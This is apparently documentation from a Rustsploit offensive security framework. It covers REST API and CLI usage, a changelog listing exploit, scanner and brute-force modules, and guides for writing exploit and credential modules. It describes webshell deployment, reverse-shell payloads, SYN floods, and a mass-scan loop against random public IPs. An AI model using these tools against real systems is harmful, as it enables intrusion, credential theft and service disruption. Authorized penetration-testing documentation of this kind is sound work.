-H "Content-Type: application/json" \
-d '{"name": "engagement_2"}'
```
---
## Loot Management
```bash
# Store loot
curl -X POST http://localhost:8080/api/loot \
-H "Authorization: Bearer YOUR_KEY" \
-H "Content-Type: application/json" \
-d '{"host": "192.168.1.1", "loot_type": "config", "description": "Router config dump", "data": "hostname router1\ninterface eth0..."}'
# List loot
curl http://localhost:8080/api/loot -H "Authorization: Bearer YOUR_KEY"
```
---
## Background Jobs
```bash
# List running jobs
curl http://localhost:8080/api/jobs -H "Authorization: Bearer YOUR_KEY"
# Kill a job
curl -X DELETE http://localhost:8080/api/jobs/1 -H "Authorization: Bearer YOUR_KEY"
```
---
## Export Engagement Data
```bash
# Export all data as JSON
curl http://localhost:8080/api/export?format=json -H "Authorization: Bearer YOUR_KEY"
```
---
## Shell Command Endpoint (Full Shell Parity)
The `/api/shell` endpoint supports **every interactive shell command**. Use the
`commands` array to chain multiple commands in a single request.
### Basic Shell Commands
```bash
# List all modules via shell endpoint
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "modules"}'
# Search for SSH modules
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "find ssh"}'
# Get module info
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "info exploits/heartbleed"}'
```
### Chained Workflow (Select, Target, Run)
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"use scanners/port_scanner",
"set target 192.168.1.1",
"run"
]
}'
```
### Vulnerability Check
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"use exploits/heartbleed",
"set target 10.10.10.10",
"check"
]
}'
```
### Global Options via Shell
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"setg port 8080",
"setg concurrency 50",
"show_options"
]
}'
```
### Data Management via Shell
```bash
# Add credentials (inline — no interactive prompts in API mode)
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "creds add 192.168.1.1 22 ssh admin password123 password"}'
# Search credentials
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "creds search ssh"}'
# Add host and service
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"hosts add 192.168.1.1",
"services add 192.168.1.1 22 tcp ssh OpenSSH_8.9",
"notes 192.168.1.1 Possible default credentials"
]
}'
# Workspace management
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "workspace pentest_2026"}'
# Loot management
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "loot add 192.168.1.1 config router-config hostname_router1"}'
# Export data
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"command": "export json engagement_report.json"}'
```
### Background Jobs via Shell
```bash
curl -X POST http://localhost:8080/api/shell \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{
"commands": [
"jobs",
"jobs clean"
]
}'
```
---
## Full Workflow Cheatsheet
```bash
# 1. Start server
cargo run -- --api
# 2. Health check
curl http://localhost:8080/health
# 3. List modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
```
+2
View File
@@ -0,0 +1,2 @@
# About Me
+101
View File
@@ -0,0 +1,101 @@
# CLI Reference
Rustsploit modules can be executed without the interactive shell using Clap-based flags. The CLI dispatcher (`src/cli.rs`) maps directly to the same modules used in the shell.
---
## Basic Syntax
```bash
cargo run -- [FLAGS] -m <MODULE> -t <TARGET>
```
Or if using the compiled binary:
```bash
./rustsploit [FLAGS] -m <MODULE> -t <TARGET>
```
An optional positional argument (`exploit`, `scanner`, `creds`) can be used to specify the module category, but it is not required -- the dispatcher resolves modules by name automatically.
---
## Commands
| Flag | Values | Description |
|------|--------|-------------|
| `--module` / `-m` | module name or path | Module to execute (short name or qualified path) |
| `--target` / `-t` | IP / hostname / CIDR | Target to run against |
| *(positional)* | `exploit`, `scanner`, `creds` | Optional module category subcommand |
---
## Global Flags
| Flag | Short | Description |
|------|-------|-------------|
| `--list-modules` | | Print all available modules and exit |
| `--verbose` | `-v` | Enable detailed logging |
| `--output-format` | | Control output: `text` (default) or `json` |
| `--api` | | Start the PQ-encrypted REST + WebSocket API server |
| `--mcp` | | Start as MCP (Model Context Protocol) server on stdio |
| `--interface <addr:port>` | | Bind address for API server (default: `127.0.0.1:8080`) |
| `--pq-host-key <path>` | | PQ host key file (default: `~/.rustsploit/pq_host_key`) |
| `--pq-authorized-keys <path>` | | Authorized client keys file (default: `~/.rustsploit/pq_authorized_keys`) |
| `--resource` | `-r` | Execute a resource script file on startup |
---
## Examples
```bash
# Run an exploit
cargo run -- -m heartbleed -t 192.168.1.1
# Run a scanner
cargo run -- -m port_scanner -t 192.168.1.1
# Run a credential module
cargo run -- -m ssh_bruteforce -t 192.168.1.1
# Run using a qualified module path
cargo run -- -m exploits/sample_exploit -t 127.0.0.1
# List all modules
cargo run -- --list-modules
# Run with verbose logging
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
# Run with JSON output
cargo run -- -m port_scanner -t 10.0.0.1 --output-format json
# Execute a resource script
cargo run -- -r scripts/scan.rc
```
---
## Module Names
Modules can be referenced by:
- **Short name:** `ssh_bruteforce`, `heartbleed`, `port_scanner`
- **Qualified path:** `creds/generic/ssh_bruteforce`, `exploits/heartbleed`, `scanners/port_scanner`
Both forms resolve to the same underlying function via the build-generated dispatcher.
Use `--list-modules` or the shell's `modules` command for the authoritative list.
---
## Error Handling & Warnings
| Situation | Message |
|-----------|---------|
| `-m` used without `-t` | `⚠ Warning: --module specified without --target. Launching shell...` |
| `-t` used without `-m` | Target is stored and available in the interactive shell |
---
## Interactive Prompts in CLI Mode
If a module requires additional parameters (e.g., wordlist paths for brute-force), it will prompt interactively even in CLI mode. For automated pipelines, modules should use sensible defaults or accept environment variables where applicable.
+147
View File
@@ -0,0 +1,147 @@
# Changelog
A high-level summary of significant changes. For the full detailed log, see [`changelogs/changelog-latest.md`](../changelogs/changelog-latest.md).
---
## v0.4.8 (2026-04-19)
### Module Totals
- **183 exploit modules** — cameras, routers, network infrastructure, webapps, frameworks, SSH, VNC, DoS, crypto, FTP, IPMI, telnet, Bluetooth, VoIP, Windows, payload generators, honeypot exploits (Cowrie, Dionaea, HoneyTrap, SNARE), WAF (SafeLine)
- **27 scanner modules**
- **29 credential modules** — all with full mass scan support (random, CIDR, file, comma-separated targets)
- **1 plugin module**
- **240 total modules**
### New in April 2026
#### 46 New Exploit Modules
| Category | Modules |
|----------|---------|
| Cowrie (SSH honeypot) | `ansi_log_injection`, `llm_prompt_injection`, `ssrf_ipv6` |
| Dionaea (honeypot) | `mqtt_underflow`, `mssql_dos`, `mysql_sqli`, `tftp_crash` |
| HoneyTrap (honeypot) | `docker_panic`, `ftp_panic` |
| SafeLine (WAF) | `cookie_attributes`, `nginx_injection`, `no_auth_probe`, `pre_auth_tfa`, `session_secret_entropy`, `unauth_writes` |
| Snare (honeypot) | `cookie_dos`, `tanner_version_mitm` |
| VNC | `rfb`, `libvnc_checkrect_overflow`, `libvnc_tight_filtergradient`, `libvnc_ultrazip`, `libvnc_websocket_overflow`, `libvnc_zrle_tile`, `tigervnc_rre_overflow`, `tigervnc_timing_oracle`, `tightvnc_decompression_bomb`, `tightvnc_des_hardcoded_key`, `tightvnc_ft_path_traversal`, `tightvnc_predictable_challenge`, `tightvnc_rect_overflow`, `x11vnc_dns_injection`, `x11vnc_env_injection`, `x11vnc_unixpw_inject` |
| SSH | `asyncssh_beginauthpass`, `libssh2_rogue_server`, `paramiko_authnonepass`, `paramiko_unknown_method` |
| Frameworks | `apache_camel/cve_2025_27636_camel_header_injection`, `php/cve_2025_51373_php_rce` |
| Network Infra | `commvault/cve_2025_34028_commvault_rce`, `kubernetes/cve_2025_1974_ingress_nginx_rce` |
| WebApps | `misp_rce_cve_2025_27364`, `nextjs_middleware_bypass_cve_2025_29927`, `vite_path_traversal_cve_2025_30208`, `zimbra_sqli_auth_bypass_cve_2025_25064` |
#### 3 New Scanner Modules
- `proxy_scanner` — HTTP CONNECT, SOCKS4/5, transparent proxy discovery
- `reflect_scanner` — UDP amplification vulnerability scanner (DNS, NTP, SSDP, Memcached)
- `vuln_checker` — Fingerprint-based vulnerability scanner across all exploit modules
#### 10 New Credential Modules
`couchdb_bruteforce`, `elasticsearch_bruteforce`, `http_basic_bruteforce`, `imap_bruteforce`, `memcached_bruteforce`, `mysql_bruteforce`, `postgres_bruteforce`, `proxy_bruteforce`, `redis_bruteforce`, `vnc_bruteforce`
#### Infrastructure
- **WebSocket transport** (`src/ws.rs`) — PQ-encrypted WebSocket endpoint at `/pq/ws` with 100-connection cap and heartbeat
- **Root privilege helper** (`src/utils/privilege.rs`) — `require_root()` for raw-socket modules (DoS, ping sweep, ICMP)
- **Unified HTTP client** (`src/utils/network.rs`) — `build_http_client()` and `build_http_client_with(HttpClientOpts)` replacing hand-rolled clients in 50+ modules
- **TCP connect helpers** — `tcp_connect_addr()`, `tcp_connect_str()`, `blocking_tcp_connect()`, `udp_bind()` centralizing socket creation
- **MCP hardening** — `isolate_protocol_stdout()` prevents module println! from corrupting JSON-RPC; `MAX_LINE_BYTES` (1 MiB) caps; binary-safe reads
- **Spool hardening** — `O_NOFOLLOW` flag, parent symlink check, lock-first file creation, `write_line()` returns Result
- **build.rs** — `check_available()` dispatch for capability queries without a target; optimized regex compilation
#### Module Audit
Systematic quality pass across all 183 exploit modules:
- Replaced `std::thread::sleep` with async alternatives in SSH and scanner modules
- Migrated raw `TcpStream::connect` to `tcp_connect_addr()` framework utility
- Standardized 50+ modules from hand-rolled `reqwest::Client::builder` to `build_http_client()`
- Added `require_root()` checks to all raw-socket modules (DoS, ping sweep, ICMP flood)
- Added `zeroize` crate for sensitive data cleanup
---
### Highlights
- **Framework-level multi-target dispatcher** — comma-separated, CIDR, file-based, and random target modes now work for ALL modules, handled by the framework rather than individual module code
- **All modules use `cfg_prompt_*`** — ensures full API/CLI/MCP compatibility via the priority chain (custom_prompts > global_options > stdin)
- **Honeypot detection system** — warns operators when a target exhibits honeypot characteristics
- **`#[cfg(unix)]` guards** on Unix-specific permissions code for cross-platform compilation
- **Bug fixes:**
- SharePoint exploit: fixed header typo
- Langflow exploit: corrected escape order
- Zabbix SQLi: removed unused payload variable
- Jenkins LFI: fixed async deadlock
- Apache Tomcat: replaced hardcoded session IDs with proper generation
---
## Recent Changes
### Framework Features (Metasploit Parity)
| Feature | Commands | Description |
|---------|----------|-------------|
| Module Metadata | `info`, `check` | Optional `info()` and `check()` per module — CVE, author, rank, non-destructive verification |
| Global Options | `setg`, `unsetg`, `show options` | Persistent key-value options across modules, saved to `~/.rustsploit/global_options.json` |
| Credential Store | `creds` (add/search/delete/clear) | Track discovered credentials with JSON persistence |
| Host/Service Tracking | `hosts`, `services`, `notes`, `workspace` | Workspace-based engagement data at `~/.rustsploit/workspaces/` |
| Loot Management | `loot` (add/search) | Structured evidence collection with file storage |
| Resource Scripts | `resource`, `makerc`, `-r` flag | Automation from script files, startup.rc auto-load |
| Console Logging | `spool` (on/off) | Capture all console output to file |
| Background Jobs | `run -j`, `jobs` (-k/clean) | Async module execution with cancellation |
| Export/Reporting | `export json\|csv\|summary` | Export all engagement data to multiple formats |
| Plugin System | `src/modules/plugins/` | Third-party module support with safety warnings |
| Build System | `build.rs` | Now auto-detects `info()` and `check()` alongside `run()` |
| Prompt System | `cfg_prompt_*` | Priority chain: custom_prompts > global_options > stdin |
| API Endpoints | 15 new routes | Full CRUD for options, creds, hosts, services, loot, jobs, export |
### New Exploit Modules
| Module | CVE / Notes |
|--------|-------------|
| `exploits/mongo/mongobleed` | CVE-2025-14847 — MongoDB zlib memory disclosure, deep-scan mode |
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner — 10 checks |
| `exploits/hikvision/hikvision_rce` | CVE-2021-36260 — command injection, SSH shell deploy |
| `exploits/frameworks/n8n` | CVE-2025-68613 — workflow expression injection, 6 payloads |
| `exploits/fortiweb` | CVE-2025-25257 — SQLi → webshell deploy |
| `exploits/webapps/sharepoint` | CVE-2024-38094 — deserialization RCE |
| `exploits/windows/dwm` | CVE-2026-20805 — Windows DWM info disclosure |
| `exploits/crypto/geth` | CVE-2026-22862 — Go-Ethereum ecies panic DoS |
| `exploits/frameworks/termix` | CVE-2026-22804 — stored XSS |
| `exploits/network_infra/forticloud_sso` | CVE-2026-24858 — auth bypass |
| `exploits/routers/ruijie/*` | 7 modules — RCE, Auth Bypass, SSRF |
| `exploits/routers/tp_link_vigi` | CVE-2026-1457 — authenticated RCE |
| `exploits/telnet/cve_2026_24061` | GNU inetutils-telnetd auth bypass via `NEW_ENVIRON` |
### New Credential Modules
| Module | Notes |
|--------|-------|
| `creds/generic/telnet_hose` | Mass internet Telnet scanner — 500 workers, disk-based state, 6-second timeout |
### Framework & Core Improvements
- **Proxy system removed** — No built-in proxy support. Use a system-level VPN (e.g., Mullvad) before launching Rustsploit.
- **Mass-scan standardization** — All mass-scan modules accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets with consistent `EXCLUDED_RANGES` enforcement.
- **Stability** — Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths.
- **API worker threading** — Fixed with `spawn_blocking`, consolidated validation logic.
- **Telnet bruteforce refactor** — DNS resolved once (not per-attempt), `tokio::sync::Semaphore`, state machine (`TelnetState` enum), `BytesMut` buffer management.
- **Telnet hose** — password-only server detection (skips username prompt when server sends password prompt in banner).
### Dependency Upgrades
| Crate | Change |
|-------|--------|
| `suppaftp` v7 | Imports updated to `suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}` |
| `reqwest` v0.13 | Removed `.query()` / `.form()` helpers — manually constructed in 6 modules |
| `rustls` v0.23 | `ServerName` import updated to `rustls::pki_types::ServerName`; deprecated `with_safe_defaults()` removed |
| `hickory-client` v0.25 | `AsyncClient``Client`; `UdpClientStream` rewritten to builder pattern + `TokioRuntimeProvider` |
### utils.rs Improvements
- Config-aware prompt system (`cfg_prompt_required`, `cfg_prompt_default`, `cfg_prompt_yes_no`, `cfg_prompt_port`, `cfg_prompt_int_range`, `cfg_prompt_existing_file`, `cfg_prompt_output_file`, `cfg_prompt_wordlist`)
- `read_safe_input` — centralizes length enforcement, null-byte stripping, and control character filtering
- All prompt helpers updated to use `read_safe_input`
- Payload-safe mode: only `\0` is stripped; all other characters pass through as literal text
+112
View File
@@ -0,0 +1,112 @@
# Contributing
Contributions are welcome — bug reports, new modules, framework improvements, and wordlist additions are all appreciated.
---
## Workflow
1. **Fork** the repository and create a branch from `main`
2. **Add your module** under the appropriate category in `src/modules/`
3. **Register it** — add `pub mod your_module;` to the sibling `mod.rs`
4. **Run checks:**
```bash
cargo fmt
cargo check
cargo test
```
5. **Open a PR** — describe what the module does, the CVE (if applicable), and how to test it
---
## Module Placement
| Type | Path |
|------|------|
| Exploit | `src/modules/exploits/<vendor_or_category>/` |
| Scanner | `src/modules/scanners/` |
| Credential | `src/modules/creds/generic/` or `creds/<vendor>/` |
| Plugin | `src/modules/plugins/` |
Use subfolders for vendor families (e.g., `exploits/cisco/`, `exploits/cameras/`).
### Recommended: Add Module Metadata
Consider adding `info()` and/or `check()` functions to your module:
```rust
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "My Module".to_string(),
description: "What this module does.".to_string(),
authors: vec!["Your Name".to_string()],
references: vec!["CVE-XXXX-YYYY".to_string()],
disclosure_date: Some("2025-01-15".to_string()),
rank: ModuleRank::Good,
}
}
pub async fn check(target: &str) -> CheckResult {
// Non-destructive verification only
CheckResult::Unknown("Not implemented".to_string())
}
```
### Auto-Store Findings
If your module discovers credentials, hosts, or services, use the framework helpers:
```rust
crate::cred_store::store_credential(host, port, "ssh", user, pass,
crate::cred_store::CredType::Password, "my_module");
crate::workspace::track_host(ip, Some("hostname"), None);
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
```
---
## Code Rules
These rules are enforced across the entire codebase:
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
- **All prompts must use `cfg_prompt_*()` variants** (from `src/utils/prompt.rs`), not raw `prompt_*()` functions. The `cfg_prompt_*` functions check API custom_prompts and global options before falling back to interactive stdin, which is required for API compatibility. Using raw prompt functions will cause modules to block when called via the API.
## Code Style
- Run `cargo fmt` — no manual formatting required
- Use `[+]` / `[-]` / `[!]` / `[*]` prefixes for output (`.green()` / `.red()` / `.yellow()` / `.cyan()`)
- Keep output concise and actionable
- Document CVE IDs and affected products in comments and output
- No `unwrap()` or `unwrap_or_default()` in critical paths — use `?` with `anyhow::Context`
- All targets pass through `crate::utils::normalize_target` — no custom normalization
---
## Mass-Scan Modules
If adding a module with 0.0.0.0/0 support:
- Copy the `EXCLUDED_RANGES` pattern from an existing mass-scan module
- Disable honeypot detection in scan-loop mode
- Default to a sane concurrency limit (mention it in output)
---
## Wordlists
- Store under `lists/` and document in `lists/readme.md`
- Prefer Seclists derivations or well-known public sources
- Keep file sizes reasonable — large lists should support streaming
---
## Bug Reports & Ideas
Open a GitHub issue or reach out with PoCs. Feature requests and module ideas are appreciated — please open a discussion before large refactors.
---
> ⚠️ All contributions must target authorized security testing scenarios. Commit messages and module descriptions must reflect controlled research usage.
+179
View File
@@ -0,0 +1,179 @@
# Credential Modules Guide
Best practices for writing and extending brute-force / credential-checking modules.
---
## Common Prompts
Credential modules should interactively prompt for:
- Port number
- Username wordlist path
- Password wordlist path
- Concurrency limit (threads / semaphore slots)
- Stop-on-success toggle
- Output file path
- Verbose logging toggle
Use the shared `cfg_prompt_*` helpers from `crate::utils`, which respect the priority chain (API custom_prompts > global options > interactive stdin):
```rust
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port};
```
---
## Input Handling
- **Trim** wordlist entries and skip blank lines
- **Early exit** if a wordlist is empty
- **Validate paths** — no `..`, use `canonicalize()`
- **Stream large files** — for password files >150 MB, use streaming mode (see RDP module)
---
## Concurrency Model
All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
| Function | Use Case |
|----------|----------|
| `run_bruteforce()` | Single-target credential testing with concurrency, progress, retry |
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
| `run_mass_scan()` | Random/file/CIDR mass scanning with lightweight probes |
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
---
## IPv6 Support
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
```rust
// Good
let addr = format_addr(&ip, port); // "[::1]:22"
```
---
## Error Classification
Implement specific error types for better debugging and reporting:
```rust
enum CredsError {
ConnectionFailed(String),
AuthenticationFailed,
CertificateError,
Timeout,
NetworkError(String),
ProtocolError(String),
ToolNotFound,
}
```
---
## TLS / STARTTLS
Accept invalid certificates for offensive tooling convenience (e.g., `danger_accept_invalid_certs(true)` in reqwest / native-tls), but document this clearly in module comments and output.
---
## Result Persistence
Offer to write `host -> user:pass` pairs to a local file (default `./results.txt`):
```rust
if let Some(ref path) = output_file {
let line = format!("{} -> {}:{}\n", target, user, pass);
fs::OpenOptions::new().create(true).append(true).open(path)?.write_all(line.as_bytes())?;
}
```
---
## Available Credential Modules (28 total)
### Remote Access Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `ssh_bruteforce` | 22 | libssh2 password auth | Default creds, combo mode, streaming wordlists |
| `ssh_spray` | 22 | Password spray | One password across many targets |
| `ssh_user_enum` | 22 | Timing attack | CVE-2018-15473 style user enumeration |
| `telnet_bruteforce` | 23, 2323 | IAC negotiation + prompt detection | Multi-port, 55+ IoT defaults, shell verification, streaming |
| `telnet_hose` | 23, 2323, 23231 | Default creds mass scan | 500 concurrent, multi-port per host |
| `rdp_bruteforce` | 3389 | Native CredSSP/NTLM | NLA/TLS/RDP/Negotiate security levels |
| `vnc_bruteforce` | 5900 | DES challenge-response (RFB) | Password-only, bit-reversed DES key |
| `ftp_bruteforce` | 21 | FTP/FTPS LOGIN | TLS fallback, error classification |
| `ftp_anonymous` | 21 | Anonymous login check | FTPS fallback, LIST verification |
### Email Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `smtp_bruteforce` | 25, 465, 587 | SMTP AUTH (PLAIN/LOGIN/CRAM-MD5) | STARTTLS support |
| `pop3_bruteforce` | 110, 995 | POP3 USER/PASS | TLS/STLS support |
| `imap_bruteforce` | 143, 993 | IMAP LOGIN | IMAPS (implicit TLS), RFC 3501 escaping |
### Database Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `mysql_bruteforce` | 3306 | Native wire protocol (SHA1 handshake) | HandshakeV10 parsing, salt extraction |
| `postgres_bruteforce` | 5432 | MD5 or cleartext auth | Wire protocol, `md5(md5(pass+user)+salt)` |
| `redis_bruteforce` | 6379 | AUTH command (legacy + ACL) | Redis 6+ ACL support, INFO version detection |
| `elasticsearch_bruteforce` | 9200 | HTTP Basic Auth | Cluster detection, open-access check |
| `couchdb_bruteforce` | 5984 | Session auth + Basic fallback | `/_session` POST, `/_all_dbs` verification |
| `memcached_bruteforce` | 11211 | SASL PLAIN (binary protocol) | Open memcached detection, version check |
### Web Protocols
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `http_basic_bruteforce` | 80, 443 | HTTP Basic Authentication | HTTPS, custom paths, redirect detection |
| `fortinet_bruteforce` | 443 | FortiOS web login | CSRF token extraction, realm support |
### Network Management
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `snmp_bruteforce` | 161 (UDP) | SNMPv1/v2c community strings | Custom SNMP packet, BER parsing |
### IoT / Messaging
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `mqtt_bruteforce` | 1883, 8883 | MQTT 3.1.1 CONNECT | TLS/SSL, anonymous detection, client ID |
| `rtsp_bruteforce` | 554 | RTSP Basic Auth | Path brute-forcing, custom headers |
### VPN
| Module | Port(s) | Auth Method | Features |
|--------|---------|-------------|----------|
| `l2tp_bruteforce` | 1701 (UDP) | L2TP/CHAP handshake | Full L2TP session + PPP CHAP |
### Utility
| Module | Description |
|--------|-------------|
| `enablebruteforce` | Raise file descriptor limits (ulimit) for high-concurrency scans |
| `sample_cred_check` | Template/example credential check module |
| `acti_camera_default` | Multi-protocol default credential check (FTP/SSH/Telnet/HTTP) |
| `camxploit` | Mass camera scanner with port + path + credential testing |
---
## Mass Scanning Support
All 28 credential modules support mass scanning via the framework's multi-target dispatcher. The framework automatically handles:
- **Random targets** (`random`, `0.0.0.0/0`) — generates random public IPs with `EXCLUDED_RANGES` enforcement
- **CIDR ranges** (e.g., `192.168.1.0/24`) — expands and iterates all hosts
- **File-based targets** — reads one target per line from a file path
- **Comma-separated targets** — splits and runs against each target
Modules use `is_mass_scan_target()` to detect mass-scan mode and `run_mass_scan()` to delegate to the framework dispatcher. This is handled at the framework level, so individual modules do not need custom mass-scan loops.
+61
View File
@@ -0,0 +1,61 @@
# Credits
---
## Project
| Role | Name |
|------|------|
| Project Lead | s-b-repo |
| Language | 100% Rust |
---
## Inspiration
- [RouterSploit](https://github.com/threat9/routersploit) — modular embedded exploitation framework
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — industry-standard exploitation framework
- [pwntools](https://github.com/Gallopsled/pwntools) — CTF exploit library
---
## Wordlists
- [SecLists](https://github.com/danielmiessler/SecLists) — the majority of bundled wordlists
- Custom additions in `lists/` — documented in `lists/readme.md`
---
## Key Dependencies
| Crate | Purpose |
|-------|---------|
| `tokio` | Async runtime |
| `reqwest` | HTTP client |
| `clap` | CLI argument parsing |
| `anyhow` | Error handling |
| `colored` | Terminal color output |
| `axum` | REST API framework |
| `suppaftp` | FTP/FTPS (v7, tokio async) |
| `hickory-client` | DNS (v0.25, builder pattern) |
| `ipnetwork` | CIDR range matching |
| `rustls` | TLS (v0.23+) |
| `bytes` | Buffer management (`BytesMut`) |
| `subtle` | Constant-time API key comparison |
| `strsim` | Fuzzy module name matching (Levenshtein) |
| `rustyline` | Interactive shell line editing |
| `serde` / `serde_json` | Serialization / JSON persistence |
| `ssh2` | SSH protocol support |
| `des` / `aes` / `cipher` | Cryptographic primitives |
| `chrono` | Date/time handling |
| `uuid` | Unique identifier generation |
---
## Legal
> ⚠️ Rustsploit is intended for **authorized security testing and research only**.
> Obtain explicit written permission before targeting any system you do not own.
> The authors accept no liability for misuse.
Licensed under the terms in [LICENSE](../LICENSE).
+2
View File
@@ -0,0 +1,2 @@
# Donation
+135
View File
@@ -0,0 +1,135 @@
# Exploit Modules Guide
Best practices for writing and extending exploit modules in Rustsploit.
---
## CVE Referencing
Always mention CVE IDs, vendor names, and affected products in:
- The module file docstring / top-level comments
- Output messages (e.g., `[*] Testing CVE-2025-14847 on {}`, target)
- The [Module Catalog](Module-Catalog.md)
---
## Response Validation
Validate server responses before declaring success — false positives hurt credibility:
```rust
if response.status() == 200 && body.contains("expected_indicator") {
println!("{} Confirmed vulnerable: {}", "[+]".green(), target);
} else {
println!("{} Not vulnerable or patched", "[-]".red());
}
```
---
## Artifact Handling
If the exploit downloads or writes files (e.g., memory dumps, webshells):
- Store in the current working directory or a named subfolder
- Name files descriptively: `mongobleed_results_{target}.txt`, `nginx_pwner_results_{target}.txt`
- Inform the operator where output was written
---
## Clean-Up Instructions
If the exploit adds credentials or accounts (e.g., camera modules), document:
- The impact of the change
- How to revert (e.g., default creds to restore, commands to run)
---
## Interactive Options
Use `cfg_prompt_*` helpers from `crate::utils` if end-user input is needed. These respect the priority chain (API custom_prompts > global options > interactive stdin), ensuring modules work in shell, API, and CLI modes:
```rust
use crate::utils::{cfg_prompt_default, cfg_prompt_yes_no};
let command = cfg_prompt_default("command", "Command to execute", "id").await?;
let deploy = cfg_prompt_yes_no("deploy_webshell", "Deploy webshell?", true).await?;
```
---
## Mass-Scan Support
For modules supporting internet-wide scanning (target `0.0.0.0/0`):
```rust
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
loop {
let ip = generate_random_public_ip();
if !is_excluded_ip(ip) {
execute(ip.to_string().as_str()).await.ok();
}
}
}
```
See `EXCLUDED_RANGES` documentation in [Security & Validation](Security-Validation.md).
Disable honeypot detection in mass-scan mode to avoid interactive prompts blocking the scan loop.
---
## Module-Specific Notes
### Hikvision RCE (CVE-2021-36260)
- **Safe check** — writes/reads a test file to verify exploitability
- **Unsafe reboot** — reboots the device to confirm (destructive)
- **Command exec** — output retrieved, supports blind mode
- **SSH shell** — deploys Dropbear SSH on port 1337
### MongoBleed (CVE-2025-14847)
- Sends malicious compressed packet with inflated `uncompressedSize`
- Parses error response to extract leaked memory chunks (field names / types)
- Prints any leaked strings (potential credentials / data) to console
- Includes deep-scan mode for extended analysis
### n8n RCE (CVE-2025-68613)
- Authenticates via `/rest/login` (token / cookie-based)
- Creates a malicious workflow with expression injection payload
- Triggers via `/rest/workflows/{id}/run`
- Cleans up test workflow after execution
- **6 payload types:** Info, Command, Environment, Read File, Write File, Reverse Shell
### FortiWeb SQLi → RCE (CVE-2025-25257)
- SQL injection via `Authorization: Bearer ';{injection}` header
- Writes webshell via `SELECT INTO OUTFILE`
- Uses `.pth` trigger for Python `chmod` execution
- Interactive modes: deploy webshell, execute command, test SQLi only
### NginxPwner
- **10 checks:** version disclosure, CRLF injection, PURGE method, variable leakage, merge slashes, header bypass / IP spoofing, alias traversal, `X-Accel-Redirect` bypass, PHP detection, CVE-2017-7529 integer overflow
- Results saved to `nginx_pwner_results_{target}.txt`
- Prints reminders for manual checks (Redis, CORS, request smuggling)
### DoS / Stress Testing
> ⚠️ Authorized testing only. These modules can cause service disruption.
| Module | Notes |
|--------|-------|
| `null_syn_exhaustion` | Raw socket, IP spoofing, XorShift128+ RNG, configurable PPS, >1M PPS capable |
| `connection_exhaustion_flood` | FD-bounded semaphore, supports infinite mode with graceful Ctrl+C |
| `tcp_connection_flood` | DNS pre-resolved, high-concurrency handshake stress, infinite mode |
| `http2_rapid_reset` | CVE-2023-44487 — HTTP/2 stream reset flood |
---
## Framework-Level Multi-Target Support
All exploit modules automatically benefit from the framework's multi-target dispatcher. There is no need to implement target iteration inside individual modules. The framework handles:
- **Comma-separated targets** — `192.168.1.1,192.168.1.2,192.168.1.3`
- **CIDR ranges** — `192.168.1.0/24` expands to all hosts in the subnet
- **File-based targets** — pass a file path containing one target per line
